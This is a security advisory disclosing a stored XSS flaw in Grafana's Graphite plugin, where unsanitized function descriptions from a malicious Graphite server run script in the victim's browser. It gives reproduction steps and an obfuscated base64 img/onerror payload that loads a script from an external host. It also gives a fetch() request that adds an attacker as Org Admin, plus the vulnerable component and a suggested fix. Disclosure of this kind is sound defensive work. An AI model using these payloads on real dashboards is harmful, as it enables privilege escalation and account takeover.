GHSA-qrrg-gw7w-vp76

Summary

When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use Functions. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.

Details

1. Spin up your own Graphite instance. I've done this using the make devenv sources=graphite.
2. Now start a terminal for your Graphite container and modify the following file /opt/graphite/webapp/graphite/render/functions.py
3. Basically you can pick any function but I picked the aggregateSeriesLists function. Modify its description to be "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

The result would look like this:

def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):
  """                                                                              

  "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

  """                  
  if len(seriesListFirstPos) != len(seriesListSecondPos):   
    raise InputParameterError(             
      "seriesListFirstPos and seriesListSecondPos argument must have equal length")
  results = []                                          

  for i in range(0, len(seriesListFirstPos)):        
    firstSeries = seriesListFirstPos[i]                                           
    secondSeries = seriesListSecondPos[i]         
    aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) 
    if not aggregated: # empty list, no data found                          
      continue                   
    result = aggregated[0]  # aggregate() can only return len 1 list           
    result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)
    results.append(result)                                                                           
  return results                                                         


aggregateSeriesLists.group = 'Combine'                                                             
aggregateSeriesLists.params = [
  Param('seriesListFirstPos', ParamTypes.seriesList, required=True),
  Param('seriesListSecondPos', ParamTypes.seriesList, required=True),
  Param('func', ParamTypes.aggFunc, required=True),                                                       
  Param('xFilesFactor', ParamTypes.float),                                
]                                                                                                

4. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop)
5. Now login to your Grafana instance as an Organisation Admin.
6. Navigate to http://[grafana]/plugins/graphite and click Create a Graphite data source
7. Add the url to the attackers Graphite instance (maybe enable Skip TLS Verify) and click Save & test and Explore
8. In the newly opened page click the + icon next to Functions and search for aggregateSeriesLists and click it to add it.
9. Now hover over aggregateSeriesLists with your mouse and move your mouse to the ? icon.

Result

Our payload will trigger and in this case it will include an external script to trigger the alerts.

Decoded payload

var a=document.createElement("script");a.src="https://cm2.tel";document.body.appendChild(a);

Impact

In the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves.

An example would be something like this:

fetch("/api/org/invites", {
  "headers": {
    "content-type": "application/json"
  },
  "body": "{\"name\":\"\",\"email\":\"\",\"role\":\"Admin\",\"sendEmail\":true,\"loginOrEmail\":\"hacker@hacker.com\"}",
  "method": "POST",
  "credentials": "include"
});

Mitigation

The vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsx

const FunctionDescription = React.lazy(async () => {
  // @ts-ignore
  const { default: rst2html } = await import(/* webpackChunkName: "rst2html" */ 'rst2html');
  return {
    default(props: { description?: string }) {
      return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />;
    },
  };
});

In many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.